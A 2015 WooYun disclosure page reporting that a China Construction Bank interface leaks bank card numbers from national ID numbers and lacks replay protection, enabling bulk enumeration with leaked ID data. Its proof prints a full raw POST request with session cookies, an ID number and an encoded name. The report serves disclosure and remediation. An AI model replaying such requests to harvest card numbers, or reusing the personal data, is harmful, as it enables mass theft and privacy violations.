当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106362

漏洞标题：中国建设银行某接口获取敏感信息(泄露银行卡号与撞库风险)

相关厂商：中国建设银行

漏洞作者： Vern

提交时间：2015-04-07 12:47

修复时间：2015-05-25 18:02

公开时间：2015-05-25 18:02

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-07： 细节已通知厂商并且等待厂商处理中
2015-04-10： 厂商已经确认，细节仅向厂商公开
2015-04-20： 细节向核心白帽子及相关领域专家公开
2015-04-30： 细节向普通白帽子公开
2015-05-10： 细节向实习白帽子公开
2015-05-25： 细节向公众公开

简要描述：

中国建设银行某接口获取银行卡号 如果 被黑产利用 后果严重

详细说明：

接口地址

https://ibsbjstar.ccb.com.cn/app/V5/CN/STY1/F100701.jsp?UKEYSERIALNUM=


由于身份证信息特别脆弱到处都是 黑市上各种裤子 随便一个库都含有身份证号码信息
如果把得到的身份证号码信息用在这里

搜狗截图20150407121110.png


提交然后抓包

搜狗截图20150407121617.png


搜狗截图20150407121401.png


漏洞证明：

POST /app/B2CMainPlatV5?CCB_IBSVersion=V5&SERVLET_NAME=B2CMainPlatV5 HTTP/1.1
Host: ibsbjstar.ccb.com.cn
Connection: keep-alive
Content-Length: 163
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://ibsbjstar.ccb.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://ibsbjstar.ccb.com.cn/app/V5/CN/STY1/F100701.jsp?UKEYSERIALNUM=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: CCBIBS1=QCt1yWQaOvR3nxRcy0L1mwd2a6R4m4dqiKL6nXdWiZK3wOvN3UmXq3tNesODme9r6uNrnwNE%2CpS9n4dRuuN2o3t3qIZ3Dq; FAVOR=||||||||||||||||||||; _BOA_mf_txcode_=100702; JSESSIONID=TJ7yVjSMMCWvd7Hj3MVmThBGTr4mjWVPN1yJk3G2pVXDJ0L5VTnV!1093420078; null=52494858.2336.0000
TXCODE=100702&CCB_PWD_MAP_GIGEST=&errURL=&CCB_IBSVersion=&PT_STYLE=&PT_LANGUAGE=&resType=&DESKTOP=&EXIT_PAGE=&USERID=320322199511107329&USERNAME=%BD%AA%BD%A1%C3%B7


而且没有任何防止重复提交验证 这个接口完全可以用来批量撞库

修复方案：

加验证参数

版权声明：转载请注明来源 Vern@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-04-10 18:00

厂商回复：

CNVD未直接复现所述情况,已经转由CNCERT直接通报给对应银行集团公司,由其后续协调网站管理部门处置.

最新状态：

暂无